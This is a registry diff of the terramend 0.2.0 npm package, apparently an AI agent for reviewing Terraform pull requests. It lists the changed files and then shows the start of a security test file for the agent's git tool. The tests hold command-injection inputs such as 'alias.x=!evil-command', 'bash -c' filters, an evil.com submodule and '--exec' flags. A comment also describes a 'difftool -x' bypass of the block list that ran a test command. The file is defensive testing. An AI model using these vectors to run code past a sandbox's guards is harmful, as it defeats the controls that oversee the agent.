terramend 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (406) hide show
  1. package/LICENSE +661 -0
  2. package/README.md +145 -0
  3. package/dist/agents/claude.d.ts +73 -0
  4. package/dist/agents/claudePretoolGate.d.ts +99 -0
  5. package/dist/agents/gateServer.d.ts +7 -0
  6. package/dist/agents/index.d.ts +6 -0
  7. package/dist/agents/nativeFsDenies.d.ts +28 -0
  8. package/dist/agents/opencode.d.ts +231 -0
  9. package/dist/agents/opencodePlugin.d.ts +85 -0
  10. package/dist/agents/opencodeShared.d.ts +40 -0
  11. package/dist/agents/postRun.d.ts +132 -0
  12. package/dist/agents/reviewer.d.ts +38 -0
  13. package/dist/agents/sessionLabeler.d.ts +97 -0
  14. package/dist/agents/shared.d.ts +189 -0
  15. package/dist/agents/subagentModels.d.ts +19 -0
  16. package/dist/agents/subagentToolGates.d.ts +55 -0
  17. package/dist/cli.mjs +197426 -0
  18. package/dist/external.d.ts +227 -0
  19. package/dist/index.d.ts +6 -0
  20. package/dist/index.js +196783 -0
  21. package/dist/internal/index.d.ts +18 -0
  22. package/dist/internal.js +1714 -0
  23. package/dist/lifecycle.d.ts +2 -0
  24. package/dist/main.d.ts +8 -0
  25. package/dist/mcp/arkConfig.d.ts +1 -0
  26. package/dist/mcp/checkSuite.d.ts +25 -0
  27. package/dist/mcp/checkout.d.ts +77 -0
  28. package/dist/mcp/comment.d.ts +119 -0
  29. package/dist/mcp/commitInfo.d.ts +9 -0
  30. package/dist/mcp/crosswalk.d.ts +105 -0
  31. package/dist/mcp/dependencies.d.ts +8 -0
  32. package/dist/mcp/geminiSanitizer.d.ts +28 -0
  33. package/dist/mcp/git.d.ts +46 -0
  34. package/dist/mcp/guardrails.d.ts +104 -0
  35. package/dist/mcp/issue.d.ts +18 -0
  36. package/dist/mcp/issueComments.d.ts +9 -0
  37. package/dist/mcp/issueEvents.d.ts +9 -0
  38. package/dist/mcp/issueInfo.d.ts +9 -0
  39. package/dist/mcp/labels.d.ts +12 -0
  40. package/dist/mcp/localContext.d.ts +19 -0
  41. package/dist/mcp/moduleExtraction.d.ts +71 -0
  42. package/dist/mcp/moduleTests.d.ts +104 -0
  43. package/dist/mcp/modules.d.ts +179 -0
  44. package/dist/mcp/output.d.ts +12 -0
  45. package/dist/mcp/pathSafety.d.ts +14 -0
  46. package/dist/mcp/policy.d.ts +48 -0
  47. package/dist/mcp/pr.d.ts +49 -0
  48. package/dist/mcp/prInfo.d.ts +9 -0
  49. package/dist/mcp/providerSchema.d.ts +50 -0
  50. package/dist/mcp/review.d.ts +199 -0
  51. package/dist/mcp/reviewComments.d.ts +178 -0
  52. package/dist/mcp/roots.d.ts +58 -0
  53. package/dist/mcp/scope.d.ts +15 -0
  54. package/dist/mcp/selectMode.d.ts +18 -0
  55. package/dist/mcp/server.d.ts +48 -0
  56. package/dist/mcp/shared.d.ts +47 -0
  57. package/dist/mcp/shell.d.ts +37 -0
  58. package/dist/mcp/staleFix.d.ts +51 -0
  59. package/dist/mcp/terraform/cost.d.ts +55 -0
  60. package/dist/mcp/terraform/currency.d.ts +94 -0
  61. package/dist/mcp/terraform/decisions.d.ts +178 -0
  62. package/dist/mcp/terraform/findings.d.ts +75 -0
  63. package/dist/mcp/terraform/plan.d.ts +157 -0
  64. package/dist/mcp/terraform/scanners.d.ts +131 -0
  65. package/dist/mcp/terraform/tools.d.ts +63 -0
  66. package/dist/mcp/terraform/types.d.ts +172 -0
  67. package/dist/mcp/terraform.d.ts +22 -0
  68. package/dist/mcp/terratest.d.ts +83 -0
  69. package/dist/mcp/upload.d.ts +6 -0
  70. package/dist/models.d.ts +171 -0
  71. package/dist/modes.d.ts +26 -0
  72. package/dist/prep/index.d.ts +7 -0
  73. package/dist/prep/installNodeDependencies.d.ts +2 -0
  74. package/dist/prep/installPythonDependencies.d.ts +2 -0
  75. package/dist/prep/types.d.ts +31 -0
  76. package/dist/reviewQuality.d.ts +64 -0
  77. package/dist/skills/terraform-best-practices/SKILL.md +369 -0
  78. package/dist/toolState.d.ts +135 -0
  79. package/dist/utils/activity.d.ts +40 -0
  80. package/dist/utils/agent.d.ts +20 -0
  81. package/dist/utils/agentHangReport.d.ts +38 -0
  82. package/dist/utils/apiFetch.d.ts +19 -0
  83. package/dist/utils/apiKeys.d.ts +41 -0
  84. package/dist/utils/apiUrl.d.ts +20 -0
  85. package/dist/utils/assets.d.ts +8 -0
  86. package/dist/utils/billingErrors.d.ts +85 -0
  87. package/dist/utils/body.d.ts +34 -0
  88. package/dist/utils/buildTerramendFooter.d.ts +25 -0
  89. package/dist/utils/byokFallback.d.ts +85 -0
  90. package/dist/utils/claudeSubscription.d.ts +30 -0
  91. package/dist/utils/cli.d.ts +10 -0
  92. package/dist/utils/codexHome.d.ts +29 -0
  93. package/dist/utils/codexOAuth.d.ts +60 -0
  94. package/dist/utils/diffCoverage.d.ts +63 -0
  95. package/dist/utils/errorReport.d.ts +17 -0
  96. package/dist/utils/exitHandler.d.ts +8 -0
  97. package/dist/utils/fixDoubleEscapedString.d.ts +1 -0
  98. package/dist/utils/gitAuth.d.ts +84 -0
  99. package/dist/utils/gitAuthServer.d.ts +24 -0
  100. package/dist/utils/github.d.ts +78 -0
  101. package/dist/utils/globals.d.ts +3 -0
  102. package/dist/utils/install.d.ts +60 -0
  103. package/dist/utils/instructions.d.ts +48 -0
  104. package/dist/utils/leapingComment.d.ts +11 -0
  105. package/dist/utils/learnings.d.ts +62 -0
  106. package/dist/utils/learningsTruncate.d.ts +25 -0
  107. package/dist/utils/lifecycle.d.ts +57 -0
  108. package/dist/utils/log.d.ts +111 -0
  109. package/dist/utils/normalizeEnv.d.ts +30 -0
  110. package/dist/utils/openCodeModels.d.ts +11 -0
  111. package/dist/utils/overrides.d.ts +40 -0
  112. package/dist/utils/packageManager.d.ts +49 -0
  113. package/dist/utils/patchWorkflowRunFields.d.ts +29 -0
  114. package/dist/utils/payload.d.ts +105 -0
  115. package/dist/utils/prSummary.d.ts +61 -0
  116. package/dist/utils/progressComment.d.ts +146 -0
  117. package/dist/utils/providerErrors.d.ts +31 -0
  118. package/dist/utils/rangeDiff.d.ts +51 -0
  119. package/dist/utils/remediationCommand.d.ts +55 -0
  120. package/dist/utils/retry.d.ts +13 -0
  121. package/dist/utils/reviewCleanup.d.ts +14 -0
  122. package/dist/utils/run.d.ts +9 -0
  123. package/dist/utils/runContext.d.ts +60 -0
  124. package/dist/utils/runContextData.d.ts +23 -0
  125. package/dist/utils/runErrorRenderer.d.ts +64 -0
  126. package/dist/utils/runLifecycle.d.ts +86 -0
  127. package/dist/utils/runStartupLog.d.ts +15 -0
  128. package/dist/utils/secrets.d.ts +22 -0
  129. package/dist/utils/setup.d.ts +90 -0
  130. package/dist/utils/shell.d.ts +32 -0
  131. package/dist/utils/skills.d.ts +10 -0
  132. package/dist/utils/subprocess.d.ts +80 -0
  133. package/dist/utils/terraformMcp.d.ts +42 -0
  134. package/dist/utils/time.d.ts +15 -0
  135. package/dist/utils/timer.d.ts +23 -0
  136. package/dist/utils/todoTracking.d.ts +16 -0
  137. package/dist/utils/token.d.ts +39 -0
  138. package/dist/utils/version.d.ts +2 -0
  139. package/dist/utils/versioning.d.ts +7 -0
  140. package/dist/utils/vertex.d.ts +16 -0
  141. package/dist/utils/workflow.d.ts +13 -0
  142. package/package.json +119 -0
  143. package/src/agents/claude.test.ts +1016 -0
  144. package/src/agents/claude.ts +1246 -0
  145. package/src/agents/claudePretoolGate.test.ts +28 -0
  146. package/src/agents/claudePretoolGate.ts +173 -0
  147. package/src/agents/gateServer.test.ts +204 -0
  148. package/src/agents/gateServer.ts +124 -0
  149. package/src/agents/index.ts +10 -0
  150. package/src/agents/nativeFsDenies.ts +82 -0
  151. package/src/agents/opencode.test.ts +1440 -0
  152. package/src/agents/opencode.ts +1312 -0
  153. package/src/agents/opencodePlugin.ts +222 -0
  154. package/src/agents/opencodeShared.test.ts +34 -0
  155. package/src/agents/opencodeShared.ts +121 -0
  156. package/src/agents/postRun.test.ts +549 -0
  157. package/src/agents/postRun.ts +535 -0
  158. package/src/agents/reviewer.ts +104 -0
  159. package/src/agents/sessionLabeler.test.ts +247 -0
  160. package/src/agents/sessionLabeler.ts +178 -0
  161. package/src/agents/shared.test.ts +76 -0
  162. package/src/agents/shared.ts +292 -0
  163. package/src/agents/subagentModels.test.ts +113 -0
  164. package/src/agents/subagentModels.ts +40 -0
  165. package/src/agents/subagentRegistration.test.ts +41 -0
  166. package/src/agents/subagentToolGates.ts +114 -0
  167. package/src/cli.test.ts +129 -0
  168. package/src/cli.ts +105 -0
  169. package/src/commands/gha.test.ts +192 -0
  170. package/src/commands/gha.ts +188 -0
  171. package/src/commands/mcp.ts +122 -0
  172. package/src/config.ts +1 -0
  173. package/src/entry.ts +7 -0
  174. package/src/entryPost.stdlibOnly.test.ts +109 -0
  175. package/src/entryPost.ts +99 -0
  176. package/src/external.test.ts +16 -0
  177. package/src/external.ts +302 -0
  178. package/src/index.ts +11 -0
  179. package/src/internal/index.ts +71 -0
  180. package/src/lifecycle.ts +2 -0
  181. package/src/main.test.ts +873 -0
  182. package/src/main.ts +712 -0
  183. package/src/mcp/__fixtures__/terramend-scratch-pr-49-review-3485940013.json +110 -0
  184. package/src/mcp/__fixtures__/terramend-scratch-pr-64-review-3531000326.json +14 -0
  185. package/src/mcp/__fixtures__/terramend-test-repo-pr-1.diff.json +67 -0
  186. package/src/mcp/__snapshots__/checkout.test.ts.snap +109 -0
  187. package/src/mcp/__snapshots__/reviewComments.test.ts.snap +71 -0
  188. package/src/mcp/arkConfig.ts +7 -0
  189. package/src/mcp/checkSuite.test.ts +245 -0
  190. package/src/mcp/checkSuite.ts +255 -0
  191. package/src/mcp/checkout.test.ts +752 -0
  192. package/src/mcp/checkout.ts +886 -0
  193. package/src/mcp/comment.test.ts +772 -0
  194. package/src/mcp/comment.ts +582 -0
  195. package/src/mcp/commitInfo.test.ts +127 -0
  196. package/src/mcp/commitInfo.ts +61 -0
  197. package/src/mcp/crosswalk.test.ts +106 -0
  198. package/src/mcp/crosswalk.ts +339 -0
  199. package/src/mcp/dependencies.test.ts +309 -0
  200. package/src/mcp/dependencies.ts +189 -0
  201. package/src/mcp/geminiSanitizer.test.ts +287 -0
  202. package/src/mcp/geminiSanitizer.ts +207 -0
  203. package/src/mcp/git.test.ts +1083 -0
  204. package/src/mcp/git.ts +890 -0
  205. package/src/mcp/guardrails.test.ts +705 -0
  206. package/src/mcp/guardrails.ts +465 -0
  207. package/src/mcp/issue.test.ts +113 -0
  208. package/src/mcp/issue.ts +73 -0
  209. package/src/mcp/issueComments.test.ts +69 -0
  210. package/src/mcp/issueComments.ts +48 -0
  211. package/src/mcp/issueEvents.test.ts +134 -0
  212. package/src/mcp/issueEvents.ts +100 -0
  213. package/src/mcp/issueInfo.test.ts +104 -0
  214. package/src/mcp/issueInfo.ts +72 -0
  215. package/src/mcp/labels.test.ts +52 -0
  216. package/src/mcp/labels.ts +34 -0
  217. package/src/mcp/localContext.ts +28 -0
  218. package/src/mcp/localServer.test.ts +75 -0
  219. package/src/mcp/localServer.ts +131 -0
  220. package/src/mcp/moduleExtraction.test.ts +261 -0
  221. package/src/mcp/moduleExtraction.ts +313 -0
  222. package/src/mcp/moduleTests.test.ts +269 -0
  223. package/src/mcp/moduleTests.ts +421 -0
  224. package/src/mcp/modules.test.ts +640 -0
  225. package/src/mcp/modules.ts +696 -0
  226. package/src/mcp/output.test.ts +96 -0
  227. package/src/mcp/output.ts +70 -0
  228. package/src/mcp/pathSafety.test.ts +44 -0
  229. package/src/mcp/pathSafety.ts +28 -0
  230. package/src/mcp/policy.test.ts +282 -0
  231. package/src/mcp/policy.ts +199 -0
  232. package/src/mcp/pr.test.ts +387 -0
  233. package/src/mcp/pr.ts +194 -0
  234. package/src/mcp/prInfo.test.ts +96 -0
  235. package/src/mcp/prInfo.ts +91 -0
  236. package/src/mcp/providerSchema.test.ts +85 -0
  237. package/src/mcp/providerSchema.ts +175 -0
  238. package/src/mcp/review.test.ts +936 -0
  239. package/src/mcp/review.ts +923 -0
  240. package/src/mcp/reviewComments.test.ts +549 -0
  241. package/src/mcp/reviewComments.ts +896 -0
  242. package/src/mcp/roots.test.ts +175 -0
  243. package/src/mcp/roots.ts +217 -0
  244. package/src/mcp/scope.test.ts +59 -0
  245. package/src/mcp/scope.ts +65 -0
  246. package/src/mcp/security.test.ts +720 -0
  247. package/src/mcp/selectMode.test.ts +210 -0
  248. package/src/mcp/selectMode.ts +181 -0
  249. package/src/mcp/server.test.ts +292 -0
  250. package/src/mcp/server.ts +403 -0
  251. package/src/mcp/shared.ts +100 -0
  252. package/src/mcp/shell.test.ts +520 -0
  253. package/src/mcp/shell.ts +505 -0
  254. package/src/mcp/staleFix.test.ts +237 -0
  255. package/src/mcp/staleFix.ts +277 -0
  256. package/src/mcp/terraform/cost.ts +163 -0
  257. package/src/mcp/terraform/currency.test.ts +338 -0
  258. package/src/mcp/terraform/currency.ts +336 -0
  259. package/src/mcp/terraform/decisions.ts +527 -0
  260. package/src/mcp/terraform/findings.ts +333 -0
  261. package/src/mcp/terraform/plan.ts +348 -0
  262. package/src/mcp/terraform/scanners.ts +809 -0
  263. package/src/mcp/terraform/tools.test.ts +1071 -0
  264. package/src/mcp/terraform/tools.ts +908 -0
  265. package/src/mcp/terraform/types.ts +305 -0
  266. package/src/mcp/terraform.test.ts +1957 -0
  267. package/src/mcp/terraform.ts +23 -0
  268. package/src/mcp/terratest.test.ts +105 -0
  269. package/src/mcp/terratest.ts +196 -0
  270. package/src/mcp/toolFiltering.test.ts +85 -0
  271. package/src/mcp/upload.test.ts +180 -0
  272. package/src/mcp/upload.ts +112 -0
  273. package/src/models.test.ts +300 -0
  274. package/src/models.ts +708 -0
  275. package/src/modes.test.ts +107 -0
  276. package/src/modes.ts +880 -0
  277. package/src/prep/index.ts +43 -0
  278. package/src/prep/installNodeDependencies.test.ts +298 -0
  279. package/src/prep/installNodeDependencies.ts +196 -0
  280. package/src/prep/installPythonDependencies.test.ts +268 -0
  281. package/src/prep/installPythonDependencies.ts +199 -0
  282. package/src/prep/types.ts +38 -0
  283. package/src/reviewQuality.test.ts +63 -0
  284. package/src/reviewQuality.ts +134 -0
  285. package/src/runCli.test.ts +214 -0
  286. package/src/runCli.ts +282 -0
  287. package/src/skills/terraform-best-practices/SKILL.md +369 -0
  288. package/src/toolState.test.ts +45 -0
  289. package/src/toolState.ts +252 -0
  290. package/src/utils/activity.test.ts +188 -0
  291. package/src/utils/activity.ts +210 -0
  292. package/src/utils/agent.test.ts +251 -0
  293. package/src/utils/agent.ts +139 -0
  294. package/src/utils/agentHangReport.test.ts +203 -0
  295. package/src/utils/agentHangReport.ts +170 -0
  296. package/src/utils/apiFetch.test.ts +115 -0
  297. package/src/utils/apiFetch.ts +62 -0
  298. package/src/utils/apiKeys.test.ts +344 -0
  299. package/src/utils/apiKeys.ts +206 -0
  300. package/src/utils/apiUrl.test.ts +30 -0
  301. package/src/utils/apiUrl.ts +59 -0
  302. package/src/utils/assets.test.ts +153 -0
  303. package/src/utils/assets.ts +107 -0
  304. package/src/utils/billingErrors.test.ts +121 -0
  305. package/src/utils/billingErrors.ts +189 -0
  306. package/src/utils/body.test.ts +217 -0
  307. package/src/utils/body.ts +168 -0
  308. package/src/utils/buildTerramendFooter.test.ts +38 -0
  309. package/src/utils/buildTerramendFooter.ts +82 -0
  310. package/src/utils/byokFallback.test.ts +205 -0
  311. package/src/utils/byokFallback.ts +128 -0
  312. package/src/utils/claudeSubscription.test.ts +179 -0
  313. package/src/utils/claudeSubscription.ts +93 -0
  314. package/src/utils/cli.ts +31 -0
  315. package/src/utils/codexHome.test.ts +190 -0
  316. package/src/utils/codexHome.ts +191 -0
  317. package/src/utils/codexOAuth.ts +147 -0
  318. package/src/utils/codexRefreshDetect.test.ts +85 -0
  319. package/src/utils/codexRefreshDetect.ts +35 -0
  320. package/src/utils/diffCoverage.test.ts +468 -0
  321. package/src/utils/diffCoverage.ts +404 -0
  322. package/src/utils/errorReport.test.ts +135 -0
  323. package/src/utils/errorReport.ts +83 -0
  324. package/src/utils/exitHandler.ts +35 -0
  325. package/src/utils/fixDoubleEscapedString.ts +9 -0
  326. package/src/utils/ghaCore.ts +13 -0
  327. package/src/utils/gitAuth.test.ts +322 -0
  328. package/src/utils/gitAuth.ts +263 -0
  329. package/src/utils/gitAuthServer.test.ts +260 -0
  330. package/src/utils/gitAuthServer.ts +182 -0
  331. package/src/utils/github.test.ts +615 -0
  332. package/src/utils/github.ts +538 -0
  333. package/src/utils/globals.ts +9 -0
  334. package/src/utils/humanEditCapture.test.ts +100 -0
  335. package/src/utils/humanEditCapture.ts +193 -0
  336. package/src/utils/install.test.ts +768 -0
  337. package/src/utils/install.ts +492 -0
  338. package/src/utils/instructions.test.ts +240 -0
  339. package/src/utils/instructions.ts +543 -0
  340. package/src/utils/leapingComment.test.ts +51 -0
  341. package/src/utils/leapingComment.ts +18 -0
  342. package/src/utils/learnings.test.ts +87 -0
  343. package/src/utils/learnings.ts +138 -0
  344. package/src/utils/learningsTocRender.test.ts +116 -0
  345. package/src/utils/learningsTruncate.test.ts +39 -0
  346. package/src/utils/learningsTruncate.ts +42 -0
  347. package/src/utils/lifecycle.test.ts +195 -0
  348. package/src/utils/lifecycle.ts +198 -0
  349. package/src/utils/log.test.ts +402 -0
  350. package/src/utils/log.ts +432 -0
  351. package/src/utils/normalizeEnv.test.ts +91 -0
  352. package/src/utils/normalizeEnv.ts +106 -0
  353. package/src/utils/openCodeModels.ts +82 -0
  354. package/src/utils/overrides.test.ts +89 -0
  355. package/src/utils/overrides.ts +98 -0
  356. package/src/utils/packageManager.test.ts +321 -0
  357. package/src/utils/packageManager.ts +257 -0
  358. package/src/utils/patchWorkflowRunFields.test.ts +92 -0
  359. package/src/utils/patchWorkflowRunFields.ts +150 -0
  360. package/src/utils/payload.test.ts +497 -0
  361. package/src/utils/payload.ts +371 -0
  362. package/src/utils/postApiFetch.ts +51 -0
  363. package/src/utils/prSummary.test.ts +224 -0
  364. package/src/utils/prSummary.ts +147 -0
  365. package/src/utils/progressComment.ts +261 -0
  366. package/src/utils/providerErrors.test.ts +315 -0
  367. package/src/utils/providerErrors.ts +172 -0
  368. package/src/utils/rangeDiff.test.ts +236 -0
  369. package/src/utils/rangeDiff.ts +182 -0
  370. package/src/utils/remediationCommand.test.ts +163 -0
  371. package/src/utils/remediationCommand.ts +119 -0
  372. package/src/utils/retry.test.ts +153 -0
  373. package/src/utils/retry.ts +58 -0
  374. package/src/utils/reviewCleanup.ts +106 -0
  375. package/src/utils/run.ts +99 -0
  376. package/src/utils/runContext.ts +145 -0
  377. package/src/utils/runContextData.ts +58 -0
  378. package/src/utils/runErrorRenderer.test.ts +95 -0
  379. package/src/utils/runErrorRenderer.ts +259 -0
  380. package/src/utils/runFixture.ts +76 -0
  381. package/src/utils/runLifecycle.ts +237 -0
  382. package/src/utils/runStartupLog.ts +60 -0
  383. package/src/utils/secrets.test.ts +103 -0
  384. package/src/utils/secrets.ts +177 -0
  385. package/src/utils/setup.test.ts +509 -0
  386. package/src/utils/setup.ts +352 -0
  387. package/src/utils/shell.ts +103 -0
  388. package/src/utils/skills.test.ts +46 -0
  389. package/src/utils/skills.ts +67 -0
  390. package/src/utils/subprocess.test.ts +170 -0
  391. package/src/utils/subprocess.ts +438 -0
  392. package/src/utils/terraformMcp.test.ts +63 -0
  393. package/src/utils/terraformMcp.ts +83 -0
  394. package/src/utils/time.test.ts +105 -0
  395. package/src/utils/time.ts +59 -0
  396. package/src/utils/timer.test.ts +91 -0
  397. package/src/utils/timer.ts +72 -0
  398. package/src/utils/todoTracking.test.ts +223 -0
  399. package/src/utils/todoTracking.ts +167 -0
  400. package/src/utils/token.test.ts +239 -0
  401. package/src/utils/token.ts +186 -0
  402. package/src/utils/version.ts +10 -0
  403. package/src/utils/versioning.test.ts +34 -0
  404. package/src/utils/versioning.ts +44 -0
  405. package/src/utils/vertex.ts +85 -0
  406. package/src/utils/workflow.ts +25 -0
@@ -0,0 +1,720 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import { checkoutPrBranch, type PrData } from "#app/mcp/checkout";
3
+ import {
4
+ AUTH_REQUIRED_REDIRECT,
5
+ DeleteBranchTool,
6
+ NOSHELL_BLOCKED_ARGS,
7
+ NOSHELL_BLOCKED_SUBCOMMANDS,
8
+ rejectIfLeadingDash,
9
+ rejectSpecialRef,
10
+ validateTagName,
11
+ } from "#app/mcp/git";
12
+ import type { ToolContext } from "#app/mcp/server";
13
+
14
+ // ─── git tool security tests ────────────────────────────────────────────
15
+ //
16
+ // the validation function below mirrors the logic in GitTool.execute, but
17
+ // imports the AUTH/NOSHELL tables directly from git.ts so tests don't silently
18
+ // drift if the runtime messages are edited. if the *algorithm* in git.ts
19
+ // changes, validateGitCommand needs to be updated here too.
20
+
21
+ type ShellPermission = "disabled" | "restricted" | "enabled";
22
+
23
+ type ValidateGitParams = {
24
+ command: string;
25
+ args: string[];
26
+ shellPermission: ShellPermission;
27
+ };
28
+
29
+ // matches the arkregex pattern used in the Git schema
30
+ const SUBCOMMAND_PATTERN = /^[a-z][a-z0-9-]*$/;
31
+
32
+ // mirrors the validation logic in GitTool.execute
33
+ function validateGitCommand(params: ValidateGitParams): string | null {
34
+ // schema-level regex validation — applies in ALL modes
35
+ if (!SUBCOMMAND_PATTERN.test(params.command)) {
36
+ return `command must be Git subcommand (was "${params.command}")`;
37
+ }
38
+
39
+ const redirect = AUTH_REQUIRED_REDIRECT[params.command];
40
+ if (redirect) {
41
+ return `git ${params.command} requires authentication. ${redirect}`;
42
+ }
43
+
44
+ // subcommand and arg blocking only applies when shell is disabled
45
+ if (params.shellPermission === "disabled") {
46
+ const blocked = NOSHELL_BLOCKED_SUBCOMMANDS[params.command];
47
+ if (blocked) {
48
+ return blocked;
49
+ }
50
+
51
+ for (const arg of params.args) {
52
+ const isBlocked = NOSHELL_BLOCKED_ARGS.some(
53
+ (flag) => arg === flag || arg.startsWith(`${flag}=`),
54
+ );
55
+ if (isBlocked) {
56
+ return `Blocked: '${arg}' flag can execute arbitrary code and is not allowed.`;
57
+ }
58
+ }
59
+ }
60
+
61
+ return null; // no error
62
+ }
63
+
64
+ describe("git tool security - subcommand regex validation", () => {
65
+ it("blocks -c flag as subcommand in ALL modes (alias injection)", () => {
66
+ const modes: ShellPermission[] = ["disabled", "restricted", "enabled"];
67
+ for (const mode of modes) {
68
+ const error = validateGitCommand({
69
+ command: "-c",
70
+ args: ["alias.x=!evil-command", "x"],
71
+ shellPermission: mode,
72
+ });
73
+ expect(error).toContain("Git subcommand");
74
+ }
75
+ });
76
+
77
+ it("blocks --exec-path as subcommand", () => {
78
+ const error = validateGitCommand({
79
+ command: "--exec-path=/malicious",
80
+ args: ["status"],
81
+ shellPermission: "disabled",
82
+ });
83
+ expect(error).toContain("Git subcommand");
84
+ });
85
+
86
+ it("blocks -C as subcommand (change directory)", () => {
87
+ const error = validateGitCommand({
88
+ command: "-C",
89
+ args: ["/tmp", "init"],
90
+ shellPermission: "disabled",
91
+ });
92
+ expect(error).toContain("Git subcommand");
93
+ });
94
+
95
+ it("blocks --config-env as subcommand", () => {
96
+ const error = validateGitCommand({
97
+ command: "--config-env",
98
+ args: ["core.pager=PATH", "log"],
99
+ shellPermission: "disabled",
100
+ });
101
+ expect(error).toContain("Git subcommand");
102
+ });
103
+
104
+ it("blocks all flags starting with - as subcommand", () => {
105
+ const flags = ["-c", "-C", "-p", "--paginate", "--git-dir", "--work-tree", "--bare"];
106
+ for (const flag of flags) {
107
+ const error = validateGitCommand({
108
+ command: flag,
109
+ args: [],
110
+ shellPermission: "disabled",
111
+ });
112
+ expect(error).toContain("Git subcommand");
113
+ }
114
+ });
115
+
116
+ it("blocks uppercase subcommands", () => {
117
+ const error = validateGitCommand({
118
+ command: "STATUS",
119
+ args: [],
120
+ shellPermission: "disabled",
121
+ });
122
+ expect(error).toContain("Git subcommand");
123
+ });
124
+
125
+ it("blocks subcommands with special characters", () => {
126
+ const bad = ["git;evil", "status$(cmd)", "log|cat", "diff&bg"];
127
+ for (const sub of bad) {
128
+ const error = validateGitCommand({
129
+ command: sub,
130
+ args: [],
131
+ shellPermission: "disabled",
132
+ });
133
+ expect(error).toContain("Git subcommand");
134
+ }
135
+ });
136
+
137
+ it("allows valid subcommands", () => {
138
+ const safe = ["status", "log", "diff", "show", "branch", "tag", "stash", "blame"];
139
+ for (const sub of safe) {
140
+ const error = validateGitCommand({
141
+ command: sub,
142
+ args: [],
143
+ shellPermission: "disabled",
144
+ });
145
+ expect(error).toBeNull();
146
+ }
147
+ });
148
+
149
+ it("allows hyphenated subcommands", () => {
150
+ const safe = ["filter-branch", "update-index", "ls-remote", "ls-files", "rev-parse"];
151
+ for (const sub of safe) {
152
+ const error = validateGitCommand({
153
+ command: sub,
154
+ args: [],
155
+ shellPermission: "enabled",
156
+ });
157
+ expect(error).toBeNull();
158
+ }
159
+ });
160
+ });
161
+
162
+ describe("git tool security - blocked subcommands (disabled mode only)", () => {
163
+ it("blocks config in disabled mode", () => {
164
+ const error = validateGitCommand({
165
+ command: "config",
166
+ args: ["core.hooksPath", "./hooks"],
167
+ shellPermission: "disabled",
168
+ });
169
+ expect(error).toContain("git config");
170
+ });
171
+
172
+ it("allows config in restricted mode (agent has shell)", () => {
173
+ const error = validateGitCommand({
174
+ command: "config",
175
+ args: ["filter.evil.clean", "bash -c 'evil'"],
176
+ shellPermission: "restricted",
177
+ });
178
+ expect(error).toBeNull();
179
+ });
180
+
181
+ it("blocks submodule in disabled mode", () => {
182
+ const error = validateGitCommand({
183
+ command: "submodule",
184
+ args: ["add", "https://evil.com/repo.git"],
185
+ shellPermission: "disabled",
186
+ });
187
+ expect(error).toContain("submodule");
188
+ });
189
+
190
+ it("allows submodule in restricted mode", () => {
191
+ const error = validateGitCommand({
192
+ command: "submodule",
193
+ args: ["add", "https://example.com/repo.git"],
194
+ shellPermission: "restricted",
195
+ });
196
+ expect(error).toBeNull();
197
+ });
198
+
199
+ it("blocks rebase in disabled mode", () => {
200
+ const error = validateGitCommand({
201
+ command: "rebase",
202
+ args: ["--exec", "evil-command", "HEAD~1"],
203
+ shellPermission: "disabled",
204
+ });
205
+ expect(error).toContain("rebase");
206
+ });
207
+
208
+ it("allows rebase in restricted mode", () => {
209
+ const error = validateGitCommand({
210
+ command: "rebase",
211
+ args: ["main"],
212
+ shellPermission: "restricted",
213
+ });
214
+ expect(error).toBeNull();
215
+ });
216
+
217
+ it("blocks bisect in disabled mode", () => {
218
+ const error = validateGitCommand({
219
+ command: "bisect",
220
+ args: ["run", "evil-command"],
221
+ shellPermission: "disabled",
222
+ });
223
+ expect(error).toContain("bisect");
224
+ });
225
+
226
+ it("blocks filter-branch in disabled mode", () => {
227
+ const error = validateGitCommand({
228
+ command: "filter-branch",
229
+ args: ["--tree-filter", "evil-command", "HEAD"],
230
+ shellPermission: "disabled",
231
+ });
232
+ expect(error).toContain("filter-branch");
233
+ });
234
+
235
+ // regression: NOSHELL_BLOCKED_ARGS matches only the long `--extcmd` /
236
+ // `--extcmd=...` forms. `git difftool -x <cmd>` is the short form and
237
+ // slipped through — verified executing a canary via
238
+ // `yes | git difftool -x 'echo PWN' HEAD~1 HEAD` on a real repo.
239
+ // globally blocking `-x` would false-positive on `git cherry-pick -x`
240
+ // (a metadata-appending flag, not code exec), so difftool is blocked
241
+ // at the subcommand level instead.
242
+ it("blocks difftool in disabled mode (closes -x short-form bypass)", () => {
243
+ const error = validateGitCommand({
244
+ command: "difftool",
245
+ args: ["-x", "evil-command", "HEAD~1", "HEAD"],
246
+ shellPermission: "disabled",
247
+ });
248
+ expect(error).toContain("difftool");
249
+ });
250
+
251
+ it("blocks difftool even with --extcmd long form (subcommand-level stops it first)", () => {
252
+ const error = validateGitCommand({
253
+ command: "difftool",
254
+ args: ["--extcmd=evil-command", "HEAD"],
255
+ shellPermission: "disabled",
256
+ });
257
+ expect(error).toContain("difftool");
258
+ });
259
+
260
+ it("blocks mergetool in disabled mode (configured tool commands execute code)", () => {
261
+ const error = validateGitCommand({
262
+ command: "mergetool",
263
+ args: [],
264
+ shellPermission: "disabled",
265
+ });
266
+ expect(error).toContain("mergetool");
267
+ });
268
+
269
+ it("allows blocked subcommands in enabled mode", () => {
270
+ const blocked = [
271
+ "config",
272
+ "submodule",
273
+ "rebase",
274
+ "bisect",
275
+ "filter-branch",
276
+ "difftool",
277
+ "mergetool",
278
+ ];
279
+ for (const sub of blocked) {
280
+ const error = validateGitCommand({
281
+ command: sub,
282
+ args: [],
283
+ shellPermission: "enabled",
284
+ });
285
+ expect(error).toBeNull();
286
+ }
287
+ });
288
+
289
+ it("allows blocked subcommands in restricted mode (stripped env is security boundary)", () => {
290
+ const blocked = [
291
+ "config",
292
+ "submodule",
293
+ "rebase",
294
+ "bisect",
295
+ "filter-branch",
296
+ "difftool",
297
+ "mergetool",
298
+ ];
299
+ for (const sub of blocked) {
300
+ const error = validateGitCommand({
301
+ command: sub,
302
+ args: [],
303
+ shellPermission: "restricted",
304
+ });
305
+ expect(error).toBeNull();
306
+ }
307
+ });
308
+ });
309
+
310
+ describe("git tool security - blocked arg flags (disabled mode only)", () => {
311
+ it("blocks --exec in args (disabled)", () => {
312
+ const error = validateGitCommand({
313
+ command: "log",
314
+ args: ["--exec", "evil-command"],
315
+ shellPermission: "disabled",
316
+ });
317
+ expect(error).toContain("arbitrary code");
318
+ });
319
+
320
+ it("blocks --exec= in args (disabled)", () => {
321
